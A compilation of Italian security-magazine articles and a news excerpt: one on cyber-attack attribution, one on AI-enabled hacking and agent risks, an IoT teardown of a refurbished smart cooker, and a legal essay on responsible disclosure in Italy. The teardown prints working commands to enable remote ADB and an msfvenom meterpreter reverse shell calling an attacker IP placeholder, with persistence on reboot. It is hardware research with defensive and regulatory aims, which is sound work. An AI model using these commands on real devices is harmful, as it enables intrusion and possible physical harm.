Nel frattempo, il ciclo continua: l’attacco arriva, l’attribuzione segue a mesi di distanza, la negazione è immediata, le sanzioni arrivano dopo, e il comportamento non cambia. Non è impotenza giuridica. È, forse, il modo in cui gli Stati gestiscono la competizione nel cyberspazio in assenza di regole universalmente accettate: con la retorica della responsabilità e la pratica dell’impunità controllata. Il dibattito su un possibile Tallinn Manual 3.0, capace di affrontare le sfide poste dall’intelligenza artificiale e dalla guerra ibrida, è già aperto. Che porti a norme vincolanti o rimanga anch’esso un esercizio accademico, dipenderà dalla stessa volontà politica che oggi frena l’applicazione di quelle esistenti.

https://www.ictsecuritymagazine.com/articoli/attribuzione-degli-attacchi-cyber/

AI-enabled cyber attacks were up 89 percent in 2025 compared with a year earlier, according to data from security group CrowdStrike. Meanwhile, the average time between an attacker first gaining access to a system and acting maliciously fell to 29 minutes last year, a 65 percent acceleration from 2024.

“The game is asymmetric; it is easier to identify and exploit than to patch everything in time,” said one person close to a frontier AI lab.

Anthropic’s Graham said there were also internal concerns that companies would use Mythos to find “more vulnerabilities than they could hope to deal with in the near future.”

The heightened fears about AI and cyber security come amid signs that agents, which act autonomously on users’ behalf to conduct tasks, could also fuel a further rise in AI-enabled hacking.

Last September, Anthropic detected the first reported AI cyber-espionage campaign believed to be coordinated by a Chinese state-sponsored group.

It manipulated its coding product, Claude Code, to attempt to infiltrate about 30 global targets, including large tech firms, financial institutions, chemical manufacturers, and government agencies. It was successful in a small number of cases and executed without extensive human intervention.

Software researcher Simon Willison has warned there is a “lethal trifecta” of capabilities that arise with agents: access to private data; exposure to untrusted content, such as the Internet; and the ability to communicate externally.

Security professionals argue that the safest way to protect against cyber attacks when using an AI agent is to grant it access to only two of these areas. However, AI experts believe that much of the value from agents comes from granting access to all three.

“The bad news is that there is no good solution as of today,” said one person close to an AI lab. “The good news is [AI agents aren’t] yet in mission-critical settings like the stock exchange, bank ledger, or the airport.”

Stanislav Fort, a former Anthropic and Google DeepMind researcher who has founded AISLE, an AI security platform, said he was optimistic that AI could help to identify and fix a “finite repository” of historical security flaws.

To date, AI models have identified thousands of “zero-day” vulnerabilities—unknown weaknesses in commonly used software—some of which have been undetected for decades.

“We are gradually finding fewer and fewer zero days, of the worst kinds we can imagine,” said Fort.

Once these weaknesses were eliminated, the technology could be used to “proactively make sure nothing bad comes in [and] meaningfully increase the security level of the whole world as a result.”

Additional reporting by Kieran Smith in London.

© 2026 The Financial Times Ltd. All rights reserved. Not to be redistributed, copied, or modified in any way.

https://arstechnica.com/ai/2026/04/anthropics-mythos-ai-model-sparks-fears-of-turbocharged-hacking/

Il mercato dei dispositivi IoT (Internet of Things) ha conosciuto una crescita esponenziale negli ultimi anni, portando nelle nostre case, uffici e infrastrutture critiche miliardi di dispositivi connessi: elettrodomestici intelligenti, telecamere di sorveglianza, router, wearable, sistemi industriali e molto altro. Tuttavia, questa proliferazione capillare ha portato con sé una superficie di attacco senza precedenti. I dispositivi IoT sono oggi tra i bersagli preferiti degli attori malevoli, complici la scarsa attenzione alla sicurezza in fase di progettazione, l’utilizzo di software obsoleto e privo di aggiornamenti, credenziali di default mai modificate, e interfacce di debug lasciate aperte in produzione.

Le conseguenze di queste lacune non sono meramente teoriche: botnet composte da milioni di dispositivi IoT compromessi hanno già causato interruzioni su scala globale, violazioni di dati sensibili e – come illustra il caso analizzato in questo articolo – la possibilità concreta di causare danni fisici agli utenti finali attraverso il controllo remoto non autorizzato di componenti hardware. In uno scenario in cui un elettrodomestico da cucina può diventare un vettore di attacco, il tema della sicurezza IoT smette di essere una questione puramente tecnica e diventa una responsabilità etica e legale dei produttori.

Secure by Design, Secure by Default. I produttori di dispositivi IoT hanno la responsabilità di integrare la sicurezza in ogni singola fase del ciclo di vita del prodotto: dalla progettazione hardware e software, allo sviluppo del firmware, fino alla distribuzione, alla gestione degli aggiornamenti e alla dismissione del dispositivo. Ciò implica l’adozione di pratiche consolidate come la Threat Modeling, il Penetration Testing hardware e software, la gestione sicura delle credenziali, la disabilitazione delle interfacce di debug in produzione, la cifratura delle comunicazioni e la disponibilità di un processo strutturato di Vulnerability Disclosure e patch management per l’intera vita utile del prodotto.

Oltre all’impatto diretto sulla sicurezza dei propri clienti, i produttori devono oggi confrontarsi con un quadro normativo in rapida evoluzione. Il Cyber Resilience Act (CRA) – il regolamento europeo sulla cyber-resilienza dei prodotti con elementi digitali – stabilisce requisiti obbligatori di cybersecurity per tutti i prodotti hardware e software immessi sul mercato dell’Unione Europea.

Il CRA, entrato in vigore il 10 dicembre 2024, con piena applicazione obbligatoria dall’11 dicembre 2027, impone ai produttori di garantire che i propri dispositivi siano progettati senza vulnerabilità note sfruttabili, che le credenziali di accesso predefinite siano uniche o modificabili dall’utente, che le interfacce non necessarie siano disabilitate, e che vengano forniti aggiornamenti di sicurezza per tutta la durata del supporto dichiarata. La mancata conformità al CRA può comportare sanzioni fino a 15 milioni di euro o al 2,5% del fatturato globale annuo e l’impossibilità di commercializzare il prodotto nel mercato europeo.

Il caso pratico che segue – basato sull’analisi di un comune elettrodomestico IoT acquistato ricondizionato – illustra in modo concreto e diretto il tipo di vulnerabilità che i produttori dovrebbero identificare ed eliminare prima che i loro dispositivi raggiungano le mani degli utenti finali. Non si tratta di un attacco sofisticato condotto da un threat actor avanzato: si tratta di tecniche di base, alla portata di chiunque disponga degli strumenti giusti e di qualche ora di tempo libero. E questo, nel 2026, non è più accettabile.

Nelle pagine che seguono, Luca Bongiorni – security researcher e sviluppatore del tool WHIDBOARD – racconta in prima persona l’analisi condotta sul dispositivo: un resoconto tecnico diretto, nella forma del security writeup, che documenta ogni fase dell’attività di ricerca.

Ho fame di hardware hacking

Di recente ho completato la fase di R&D di un nuovo strumento chiamato WHIDBOARD e, per testarlo, ho deciso di dare un’occhiata a un elettrodomestico da cucina IoT comprato ricondizionato presso un negozio online. Il risultato è stato inaspettatamente esilarante!

Il DUT (Device Under Test) di questo post è un elettrodomestico da cucina intelligente (i.e. un cosidetto IoT Smart Cooker).

Si tratta di un robot da cucina multifunzione all-in-one con 37 funzioni, dotato di un touch screen da 5″ e controllabile da remoto tramite la sua app mobile – si connette tramite rete WiFi. Poiché la versione ricondizionata era più economica… e tanto non la userei mai per cucinare… l’ho acquistato senza pensarci.

Ricondizionato ≠ reset di fabbrica

Frequentemente i negozi online permettono ai clienti di restituire articoli che non soddisfano le loro aspettative… Ma sorge una domanda più che legittima: dove finiscono questi articoli? Come vengono ricondizionati? Viene eseguito un factory reset PRIMA della rivendita?!

Dopo l’accensione, mi sono connesso alla mia rete WiFi e ho cercato di associarlo all’app mobile… ma è successa una cosa divertente. Il DUT era già associato a un altro (probabilmente il precedente) proprietario. Mi chiedo cosa direbbe un DPO di questa situazione…

Dal punto di vista della protezione dei dati personali, il dispositivo ricondizionato conteneva ancora le credenziali e l’associazione di account del precedente proprietario, rendendo i suoi dati accessibili al nuovo acquirente senza alcuna azione richiesta. Ai sensi dell’art. 25 del GDPR (Privacy by Design e by Default), il venditore di ricondizionato avrebbe dovuto garantire, come misura tecnica adeguata, l’esecuzione di un factory reset certificato prima della rivendita. La mancata sanitizzazione potrebbe configurare una violazione dei dati personali ai sensi dell’art. 33 GDPR, con obbligo di notifica all’Autorità Garante entro 72 ore dalla scoperta.

Smontaggio del DUT

Da un’ispezione iniziale dell’esterno, è possibile notare un primo indizio interessante: una porta USB micro nascosta.

Tuttavia, collegandola a un computer non succede nulla di particolarmente interessante. Il passo successivo è stato aprire il target: tra tutti gli altri componenti (touch screen, interruttori, sensori, motori, alimentatore, ecc…) mi sono ritrovato davanti alla scheda madre.

I componenti principali identificati:

• A213Y – Amlogic SoC
• KLM8G1GETF-B041 – memoria flash eMMC da 8GB con footprint FBGA-153
• RS256M16V0DB-107AT – DDR SDRAM con footprint FBGA-96

Sono presenti anche alcuni punti di accesso interessanti per le interfacce di debug…

Ma il punto di accesso più interessante si trovava sul lato opposto: alcuni test pad etichettati con il classico pinout dell’interfaccia di debug UART (GND, RX, TX).

Il passo successivo era scontato: saldare un paio di fili su quei pad, prendere il mio WHIDBOARD e verificare – con il Logic Analyzer e il Pin Enumerator – se si trattasse davvero di un’interfaccia di debug UART.

Prima ho collegato tutti i fili al morsettino del Logic Analyzer del WHIDBOARD per sniffare qualche dato. Ecco cosa ho ottenuto su PulseView:

Ottenere il Root tramite UART

Abbiamo confermato facilmente che i 3 test pad sul retro della PCB sono davvero una console UART funzionante, dal Logic Analyzer si vede il DUT che emette la sequenza di boot. Proviamo ora a connetterci direttamente con WHIDBOARD e il Pin Enumerator.

La funzione Pin Enumerator permette di scoprire automaticamente i pin di interfacce di debug come UART, JTAG e SWD. Nel mio caso ho usato soprattutto la funzione Passthrough per comunicare con il target collegato al morsettino e confermare la giusta combinazione di pin UART.

Una volta confermato con il Pin Enumerator che mi trovavo davanti a una porta di debug UART, ho usato la funzione Passthrough e sono stato accolto da un meraviglioso terminale con accesso root. BOOM!

Cosa fare adesso?

A questo punto è chiaro che il dispositivo può essere compromesso con facilità. Ma volevo continuare a smanettare e capire come funziona la connessione remota…

Passo 1:abilitare la connessione ADB remota via WiFi

Ho abilitato la connessione ADB remota con i seguenti comandi:

setprop persist.service.adb.enable 1

setprop service.adb.tcp.port 5555

start adbd

Ho confermato che tutto funzionava perfettamente:

A questo punto abbiamo già una connessione remota persistente con il DUT (stessa LAN). Il daemon del server ADB persisterà anche dopo il riavvio.

Passo 2: ricognizione

Ho enumerato le app installate per verificare due cose: quale versione di Android è in esecuzione e quali sono le Le due app più interessanti:

• package:/data/app/com.vendor.androidrk3326functiontest-1.apk
• package:/data/app/com.vendor.smartcooker.app-2.apk

Prima di continuare, ho avviato rapidamente le impostazioni Android con il comando:

am start -n com.android.settings/.Settings

…e come previsto il DUT girava su una versione vecchia di Android: 4.4.2. Un sistema operativo rilasciato nel 2013 e privo di patch di sicurezza dal 2017, da quasi un decennio.

Passo 3: ricognizione di rete

Guardando l’output di netstat ho rilevato alcune connessioni con indirizzi IP pubblici:

Niente di particolarmente allarmante, ma uno ha attirato la mia curiosità. Poiché si trattava di un backend di proprietà altrui, quindi l’ho considerato out-of-scope e mi sono concentrato su altro.

Passo 4: BusyBox

Ho poi cercato i soliti strumenti hacker per esfiltrare dati o ottenere una reverse shell da target IoT. Uno su tutti: Sua Maestà BUSYBOX. E questo ne aveva di ogni:

Solo con esso avrei potuto esfiltrare, caricare, manipolare dati e ottenere una reverse shell con netcat. Ma andiamo avanti,con la shell ADB persistente non ne abbiamo bisogno questa volta. Con ADB Explorer ho scaricato tutti i file interessanti trovati in giro. Niente di molto interessante però: questo dispositivo non ha microfono né fotocamera… non possiamo nemmeno spiare la gente da remoto.

Analisi degli APK

Ho spostato la mia attenzione sugli APK del vendor:

• vendor.androidrk3326functiontest-1.apk,suite di test funzionale per sensori e driver motori
• vendor.smartcooker.app-2.apk – app principale del dispositivo

L’APK funzionale è interessante perché questo elettrodomestico IoT ha una bilancia integrata, un riscaldatore, un motore per mescolare il cibo e vari sensori, tutti controllati dalle due app (anche da remoto tramite smartphone…).

Per com.kitchenidea.cecotec.k2501-2.apk ho notato rapidamente che è una copia dell’update.apk trovato in /sdcard/,non serve analizzarli entrambi:

L’analisi del secondo APK non ha fatto scattare troppi campanelli d’allarme, ma ha confermato che l’app ha pieno accesso a tutti i sensori, al riscaldatore, al motore, ecc. In teoria si potrebbe creare un malware che disturba la vittima da remoto inviando comandi arbitrari sulle porte seriali…

Ho anche verificato se ci fossero URL/IP interessanti hardcodati nelle due app… ma sembrano la solita robaccia:

Stavo andando di fretta, quindi ho lanciato MobSF per ottenere una panoramica rapida del livello di rischio: (TL;DR: Niente di terribile)

Complessivamente, è chiaro che esiste il potenziale per weaponizzare questo dispositivo con un APK personalizzato controllabile da remoto da un attaccante, per manipolare le funzioni interne e causare danni fisici, bypassare le misure di sicurezza? Surriscaldare la pentola? Pensateci…

Scherzi e reverse shell

Come ultimo esercizio, volevo verificare se una meterpreter reverse shell avrebbe funzionato e se attraverso di essa avrei potuto far girare DOOM o fare qualche scherzo a mia moglie…

Step 1: generare l’APK meterpreter

msfvenom -p android/meterpreter/reverse_tcp LHOST=<IP_ATTACCANTE> LPORT=31337 -f raw -o revshell.apk

Step 2: push e installazione via ADB

Step 3: esecuzione

Step 4: listener MSF su WHIDOS VM

Ora ad ogni riavvio del dispositivo la reverse shell si esegue automaticamente e chiama il C2 dell’attaccante:

A questo punto installare ed eseguire DOOM era questione di secondi… 😀

Conclusione

L’analisi condotta su questo comune elettrodomestico IoT ha evidenziato, in modo inequivocabile, come vulnerabilità elementari e ben note continuino ad affliggere dispositivi commercializzati e acquistati da milioni di utenti. L’assenza di un factory reset prima della rivendita, una console UART di debug aperta e accessibile fisicamente, un sistema operativo Android 4.4.2, rilasciato nel 2013 e privo di patch di sicurezza dal 2017,, e la possibilità di installare payload arbitrari tramite ADB: non si tratta di zero-day sofisticati, ma di negligenze di base che un adeguato processo di security testing avrebbe dovuto rilevare ed eliminare prima della commercializzazione del prodotto.

Le implicazioni concrete di queste lacune non sono banali: il riscaldatore e il motore del dispositivo sono interamente controllabili da remoto via appe, in uno scenario di compromissione, anche da un attaccante. Un dispositivo trasformato in un vettore di danno fisico non è più uno scenario ipotetico, ma una possibilità tecnica dimostrata. Analogamente, il tema dei dispositivi ricondizionati che cambiano mano senza un adeguato processo di sanitizzazione rappresenta un rischio concreto per la privacy degli utenti, con dati e associazioni di account del precedente proprietario ancora accessibili al nuovo acquirente.

Dal punto di vista normativo, scenari come questo sono esattamente ciò che il Cyber Resilience Act intende prevenire. I requisiti essenziali di sicurezza introdotti dal CRA – tra cui la disabilitazione delle interfacce di debug in produzione, l’uso di credenziali predefinite uniche, la fornitura di aggiornamenti di sicurezza e la gestione strutturata delle vulnerabilità – avrebbero direttamente mitigato le vulnerabilità identificate in questo caso. I produttori che non si adegueranno a questi requisiti non solo esporranno i propri clienti a rischi concreti, ma si troveranno impossibilitati a commercializzare i propri prodotti nel mercato europeo a partire dall’11 dicembre 2027.

https://www.ictsecuritymagazine.com/articoli/dispositivi-iot-ricondizionati/

In assenza di una disciplina organica sulla responsible disclosure, il ricercatore di sicurezza italiano opera in una zona grigia normativa che la Legge 90/2024 ha reso, paradossalmente, ancora più insidiosa.

Un mestiere che inizia dove finisce la legge

Esiste una figura professionale che compie ogni giorno, deliberatamente, atti che il codice penale descrive come reati. Lo fa per proteggere sistemi, utenti e infrastrutture. Lo fa, spesso, senza che nessuno glielo abbia chiesto. E lo fa sapendo che, al termine del proprio lavoro, potrebbe ricevere non un ringraziamento ma un avviso di garanzia.

Il ricercatore di sicurezza informatica, l’ethical hacker, il penetration tester indipendente, il bug hunter, opera in Italia in uno spazio normativo che non è mai stato davvero regolamentato. Non esiste, nel nostro ordinamento, alcuna norma che definisca cosa sia la “ricerca di sicurezza” in senso giuridicamente rilevante. Non esiste una procedura codificata per la divulgazione responsabile delle vulnerabilità. Non esiste un porto sicuro. Esiste soltanto l’art. 615-ter del codice penale, pensato oltre trent’anni fa per punire i criminali informatici, che nella sua formulazione universale abbraccia indistintamente il black hat malevolo e il white hat che, trovata una falla in un sistema pubblico, vorrebbe segnalarla a chi di competenza.

Questo articolo analizza quella zona grigia: la giurisprudenza che ha cercato di tracciarvi dei confini, la riforma del 2024 che quei confini ha ulteriormente spostato verso l’incertezza, i modelli esteri che indicano percorsi alternativi e le clausole contrattuali dei programmi di bug bounty che cercano di supplire, con strumenti privatistici, a ciò che il legislatore non ha ancora fatto.

L’art. 615-ter e il problema strutturale della fattispecie

L’art. 615-ter del codice penale, introdotto dalla legge n. 547 del 1993 in attuazione della Raccomandazione del Consiglio d’Europa n. R(89)9 del 13 settembre 1989 sulla criminalità informatica, punisce con la reclusione fino a tre anni «chiunque abusivamente si introduce in un sistema informatico o telematico protetto da misure di sicurezza ovvero vi si mantiene contro la volontà espressa o tacita di chi ha il diritto di escluderlo».

La norma è disegnata attorno a due concetti chiave: l’abusività dell’accesso e la tutela dello ius excludendi del titolare. L’accesso al sistema è protetto non quale dato puramente tecnico, ma quale proiezione del “domicilio informatico”, con tutela derivante indirettamente dagli artt. 14 e 15 Cost. Ciò significa che la norma protegge, prima ancora che i dati, la volontà del titolare di ammettere o escludere soggetti dal proprio spazio informatico.

Su questo punto la giurisprudenza ha conosciuto una lunga storia di oscillazioni, risolta almeno parzialmente da due fondamentali interventi delle Sezioni Unite della Corte di Cassazione.

La giurisprudenza delle Sezioni Unite: due principi, un paradosso

Il primo intervento è la sentenza SS.UU. “Casani” del 27 ottobre 2011 (n. 4694, dep. 7 febbraio 2012). La questione era se integrasse il reato la condotta del soggetto autorizzato all’accesso che vi si introduce per finalità diverse o illecite.

Le Sezioni Unite stabilirono un principio di portata generale: «integra la fattispecie criminosa di accesso abusivo ad un sistema informatico o telematico protetto la condotta di accesso o di mantenimento nel sistema posta in essere da soggetto che, pure essendo abilitato, violi le condizioni ed i limiti risultanti dal complesso delle prescrizioni impartite dal titolare del sistema per delimitarne oggettivamente l’accesso. Non hanno rilievo, invece, per la configurazione del reato, gli scopi e le finalità che soggettivamente hanno motivato l’ingresso al sistema».

Il principio è tecnicamente preciso ma produce conseguenze problematiche per i ricercatori di sicurezza: ciò che rileva non è l’intenzione dell’agente (buona o cattiva che sia) ma la violazione oggettiva delle condizioni di accesso poste dal titolare. Per l’ethical hacker che accede a un sistema senza un’esplicita autorizzazione scritta del titolare, la mancanza di quella volontà espressa è di per sé sufficiente a configurare il reato, indipendentemente dal fatto che egli non abbia copiato nulla, non abbia arrecato danni e intenda segnalare responsabilmente la vulnerabilità trovata.

Il secondo intervento è la sentenza SS.UU. “Savarese” del 18 maggio 2017 (n. 41210), che per i pubblici ufficiali ha introdotto il concetto di “ragioni ontologicamente estranee”: integra il delitto di cui all’art. 615-ter, secondo comma n. 1, c.p. la condotta del pubblico ufficiale che, pur essendo abilitato e pur non violando le prescrizioni formali impartite dal titolare, acceda o si mantenga nel sistema per ragioni ontologicamente estranee rispetto a quelle per le quali la facoltà di accesso gli è attribuita.

Per il ricercatore di sicurezza, la combinazione di questi due principi crea un labirinto: se accede senza autorizzazione esplicita viola le condizioni del titolare (Casani); se accede con credenziali lecite ma per testare la sicurezza invece di svolgere la funzione per cui le credenziali furono concesse, compie operazioni “ontologicamente estranee” (Savarese). In entrambi i casi la legge non distingue tra chi vuole fare un danno e chi vuole evitarlo.

Il caso Catania 2019: un’archiviazione istruttiva, non una regola

Un provvedimento che ha catalizzato l’attenzione degli specialisti è il decreto del GIP del Tribunale di Catania del 15 luglio 2019 (Giudice dott. Rizza), che ha disposto l’archiviazione di un procedimento penale per il reato di accesso abusivo a sistemi informatici o telematici (art. 615-ter c.p.). I fatti si inseriscono in un contesto di sviluppo di un’applicazione per smartphone: il ricercatore, dotato di notevoli competenze tecniche, si era introdotto nel sistema aziendale individuando vulnerabilità che aveva poi segnalato responsabilmente. Il giudice ha ritenuto che tale condotta, qualificabile come responsible disclosure volta alla “tutela dei consumatori”, non potesse essere censurata penalmente.

Il provvedimento è storicamente significativo: è tra le prime archiviazioni italiane esplicitamente motivate con il riconoscimento della responsible disclosure. Non costituisce però un precedente vincolante né una causa di giustificazione sistematica. È il risultato di una valutazione discrezionale, irripetibile nella sua struttura procedurale, che non risolve il problema strutturale: in assenza di una norma che definisca le condizioni di liceità della ricerca di sicurezza, ogni caso deve essere valutato individualmente, con esiti imprevedibili.

La Legge 90/2024: più pene, nessuna protezione

Se la giurisprudenza si era almeno sforzata di cercare criteri interpretativi di contenimento, il legislatore del 2024 ha scelto una direzione opposta: più sanzioni penali, nessun safe harbor.

La Legge 28 giugno 2024, n. 90, “Disposizioni in materia di rafforzamento della cybersicurezza nazionale e di reati informatici”, si compone di 24 articoli e introduce obblighi di segnalazione degli incidenti per pubbliche amministrazioni e operatori essenziali (art. 1), rafforza il ruolo dell’Agenzia per la Cybersicurezza Nazionale (ACN) e inaspisce in modo significativo le sanzioni penali per i reati informatici.

Sul piano del diritto penale sostanziale, l’art. 16 della legge modifica in modo estensivo il codice penale. Per quanto riguarda specificamente l’art. 615-ter c.p.:

Il primo comma (ipotesi base) rimane invariato: reclusione fino a tre anni, procedibile a querela della persona offesa. Il secondo comma (ipotesi aggravate, tra cui il fatto commesso da pubblico ufficiale o in danno di pubblico ufficiale) subisce modifiche alle circostanze aggravanti, con procedibilità d’ufficio. Il terzo comma (sistemi informatici di interesse militare, ordine pubblico, sicurezza pubblica, sanità, protezione civile, interesse pubblico) vede le pene elevarsi sensibilmente: da «reclusione da uno a cinque anni e da tre a otto anni» a «reclusione da tre a dieci anni e da quattro a dodici anni», con procedibilità d’ufficio.

L’inasprimento del terzo comma è particolarmente rilevante per i ricercatori di sicurezza: i sistemi che presentano le vulnerabilità più critiche (quelli di interesse pubblico, sanitario o infrastrutturale) sono proprio quelli per cui la legge ora prevede le pene più severe, senza che esista alcuna causa di giustificazione per il ricercatore in buona fede. La Legge 90/2024 ha anche introdotto, all’art. 623-quater c.p., circostanze attenuanti per chi si adoperi per evitare che l’attività delittuosa sia portata a conseguenze ulteriori, con riduzione di pena dalla metà a due terzi. Si tratta però di un istituto pensato per la collaborazione investigativa, non per la tutela del ricercatore preventivo.

Come analizzato su ICT Security Magazine, alcuni esperti temono che la normativa possa ostacolare il lavoro di chi si occupa di bug bounty programs o di ricerca indipendente sulla sicurezza informatica. Il timore non è peregrino: in assenza di cause di giustificazione specifiche, l’aumento delle pene produce un effetto deterrente che ricade sull’intera comunità della sicurezza, non solo sugli attori malintenzionati. Le Camere Penali Italiane, nelle proprie osservazioni al testo, hanno rilevato come alcune nuove disposizioni introducano ipotesi di reato e circostanze aggravanti inadeguate a fornire una risposta efficace alle esigenze di sicurezza e che la partecipazione dell’ACN nelle indagini (art. 22 co. 4-bis) sollevi preoccupazioni sull’indipendenza delle procedure giudiziarie.

La legge ha il merito di rafforzare l’ACN come interlocutore per la gestione delle vulnerabilità e di istituire il Centro Nazionale di Crittografia, ma non trae le conseguenze necessarie per il quadro della ricerca di sicurezza indipendente. Come illustrato in precedenti analisi, l’inasprimento delle pene non è sempre efficace come deterrente se non accompagnato da una robusta capacità di enforcement e da un equilibrato riconoscimento delle condotte lecite.

I tentativi di riforma: verso una responsible disclosure normata

Il vuoto normativo non è passato inosservato. A livello parlamentare, la proposta di legge a prima firma dell’on. Riccardo Magi (nelle sue diverse formulazioni a partire dal 2022) ha avuto il merito di portare la questione al centro del dibattito: il testo prevedeva l’introduzione di una causa di non punibilità per il ricercatore di sicurezza che avesse operato rispettando criteri di buona fede, proporzionalità e notifica tempestiva delle vulnerabilità scoperte all’organizzazione interessata o all’ACN. La proposta non è mai giunta all’approvazione, ma ha catalizzato un dibattito accademico e tecnico di grande rilievo, a cui si è aggiunta l’attività di soggetti come la fondazione GCSEC, promotrice del Manifesto italiano di Coordinated Vulnerability Disclosure.

La questione centrale, sul piano dogmatico, è se sia più opportuno introdurre una causa di giustificazione (che esclude l’illiceità del fatto), una causa di non punibilità (che esclude la pena pur riconoscendo l’illiceità) o una vera e propria riformulazione delle fattispecie incriminatrici che escluda ab origine dalla tipicità le condotte di ricerca in buona fede. Sarebbe opportuno che il legislatore intervenisse introducendo una vera e propria causa di non punibilità, distinta dal consenso dell’avente diritto. Quest’ultimo, infatti, non può operare per il reato di cui all’art. 615-ter c.p. nell’ipotesi base, poiché il mancato consenso è elemento costitutivo della fattispecie.

Ciascuna opzione presenta profili tecnici diversi. La causa di giustificazione si inserirebbe nella struttura del reato e avrebbe effetti più pervasivi, ma richiederebbe criteri applicativi rigorosi per evitare che diventi uno scudo per condotte in realtà offensive. La causa di non punibilità è più cauta sul piano sistematico ma non risolve il problema del procedimento che viene comunque avviato e delle misure cautelari che possono essere disposte nel frattempo. La modifica tipizzante è la più garantista ma anche la più difficile da formulare con precisione sufficiente.

Il modello olandese: pragmatismo istituzionale senza immunità assoluta

I Paesi Bassi rappresentano il riferimento europeo più maturo in materia di responsible disclosure istituzionalizzata. Il National Cyber Security Centre olandese (NCSC) ha pubblicato le proprie linee guida sul Coordinated Vulnerability Disclosure (CVD) nel 2013, poi aggiornate nel 2018 sulla base dell’esperienza maturata.

Il modello olandese deve essere descritto con precisione, perché spesso viene frainteso come un “porto sicuro” assoluto: non lo è. Le linee guida non modificano il quadro giuridico vigente. Il codice penale olandese (artt. 138ab e 161 sexies) non distingue tra hacker malintenzionato ed ethical hacker: la decisione se trattare un soggetto come tale è rimessa alla Procura della Repubblica e al giudice. La Procura olandese ha tuttavia pubblicato una lettera di indirizzo nel 2013 (il Board of Procurators General), stabilendo che non si procederà penalmente in presenza di “ripristino dei diritti” tra il segnalante e l’organizzazione colpita, pur mantenendo la facoltà di agire quando la condotta abbia ecceduto i limiti di proporzionalità.

Il meccanismo funziona perché poggia su tre pilastri complementari. Il primo è procedurale: le organizzazioni che adottano una politica CVD si impegnano formalmente a non sporgere denuncia contro i ricercatori che rispettino determinate condizioni (nessuna copia o modifica di dati, disclosure confidenziale, proporzionalità dei test, finestra temporale concordata per la correzione prima della pubblicazione). L’NCSC raccomanda un termine di 60 giorni per le vulnerabilità software e di sei mesi per quelle hardware più complesse.

Il secondo è istituzionale: l’NCSC agisce da intermediario quando la vulnerabilità viene segnalata direttamente all’ente, e si impegna a tenere informato il ricercatore sullo stato di risoluzione. Il terzo è normativo-orientativo: la lettera di indirizzo della Procura offre ai ricercatori criteri ex ante di comportamento protetto, riducendo l’incertezza giuridica senza richiedere una modifica legislativa.

Il sistema olandese non garantisce immunità: la Procura mantiene sempre la facoltà di perseguire. Un ricercatore che abbia reso pubblica la vulnerabilità prima della correzione o che abbia effettuato ricerche sui dati personali di soggetti terzi è stato condannato, proprio perché aveva ecceduto i limiti di proporzionalità. Ma l’esistenza di criteri chiari e di un orientamento esplicito della magistratura requirente ha creato un ecosistema in cui la ricerca di sicurezza può prosperare in condizioni di ragionevole prevedibilità giuridica.

Il caso americano: il CFAA, Van Buren e il dibattito sulla riforma

Negli Stati Uniti il problema è strutturalmente analogo. Il Computer Fraud and Abuse Act del 1986 (CFAA) punisce chiunque “intentionally accesses a computer without authorization or exceeds authorized access”, e la vaghezza della nozione di exceeds authorized access aveva generato un lungo contrasto giurisprudenziale tra i circuiti di appello federali.

La svolta è arrivata con la sentenza Van Buren v. United States della Corte Suprema del 3 giugno 2021 (593 U.S. 374). La Corte, in una decisione 6-3 redatta dalla Justice Barrett, ha adottato un’interpretazione di tipo “gates-up-or-down”: si “eccede l’autorizzazione” soltanto quando si accede a file, cartelle o database a cui il proprio accesso non si estende affatto, non quando si usa un accesso altrimenti lecito per uno scopo improprio.

Il fine dell’accesso (anche se illecito) è giuridicamente irrilevante se le credenziali permettevano l’accesso a quell’area del sistema. La Electronic Frontier Foundation, che aveva depositato un amicus brief nel caso, definì la pronuncia “una vittoria per tutti gli utenti di Internet e in particolare per i ricercatori di sicurezza”.

Van Buren non ha risolto però il problema dell’accesso inizialmente non autorizzato, che rimane il caso più comune per il ricercatore indipendente. E non elimina il rischio di azione civile: come segnalato da diversi esperti del settore, il timore principale dei ricercatori non è la responsabilità penale ma quella civile, cioè essere citati in giudizio dalla stessa azienda che ha la vulnerabilità nel proprio sistema.

Le proposte di riforma più avanzate, elaborate da organizzazioni come Rapid7, EFF e Center for Democracy & Technology, convergono su alcuni elementi comuni: la definizione legislativa di good faith security research, che includa la minimizzazione dei danni e l’obbligo di disclosure al titolare del sistema; il divieto di utilizzo commerciale delle vulnerabilità scoperte prima della loro divulgazione; la limitazione del diritto di azione civile delle aziende nei confronti dei ricercatori che abbiano rispettato la procedura di disclosure.

I programmi di bug bounty: contratti che suppliscono alla legge

In assenza di una disciplina legislativa, il mercato ha sviluppato i propri strumenti di regolazione. I programmi di bug bounty (piattaforme gestite da HackerOne, Bugcrowd e operatori nazionali, o programmi diretti delle singole organizzazioni) rappresentano oggi la principale forma di legalizzazione contrattuale dell’ethical hacking.

Il meccanismo è semplice: l’organizzazione definisce un perimetro (scope) di sistemi su cui la ricerca è autorizzata, le tipologie di vulnerabilità ricercabili, le regole di comportamento per il ricercatore, la finestra temporale entro cui la vulnerabilità verrà corretta e la misura della ricompensa. In cambio, il ricercatore ottiene l’autorizzazione esplicita (la volontà espressa del titolare che l’art. 615-ter richiede) e una clausola contrattuale di safe harbor che lo protegge da azioni legali civili. Il Gold Standard Safe Harbor promosso da HackerOne è divenuto di fatto uno standard internazionale di riferimento, raccomandato anche dal Dipartimento di Giustizia degli Stati Uniti e dalla CISA nel proprio Vulnerability Disclosure Policy Template per le agenzie federali.

In Italia, il mercato dei bug bounty è in crescita ma strutturalmente fragile sul piano della tutela giuridica del ricercatore. Il problema fondamentale è che la clausola contrattuale di safe harbor non ha alcuna efficacia preclusiva nel sistema penale italiano.

Per le ipotesi base del reato (primo comma, procedibili a querela), il consenso e la mancata querela del titolare costituiscono di fatto un presidio: il titolare del sistema, potendo disporre del suo legittimo interesse, può scegliere di non sporgere denuncia o di ritirarla. Ma per le ipotesi aggravate del terzo comma (quelle relative a sistemi di rilevanza pubblica, sanitaria, militare o infrastrutturale, procedibili d’ufficio) il consenso del titolare è penalmente irrilevante, e la Procura può procedere indipendentemente dalla volontà della parte offesa.

Un ulteriore profilo critico riguarda la granularità tecnica degli ambienti informatici: se il ricercatore, operando nell’ambito di un programma di bug bounty aziendale, accede incidentalmente a dati di terzi o a sottosistemi non inclusi nello scope dichiarato, la copertura contrattuale cessa. Questa eventualità, tutt’altro che teorica in sistemi complessi e interconnessi, espone il ricercatore a un rischio che nessuna clausola contrattuale può eliminare in assenza di una norma primaria di tutela.

La Direttiva NIS2 e il diritto dell’Unione: un’occasione mancata

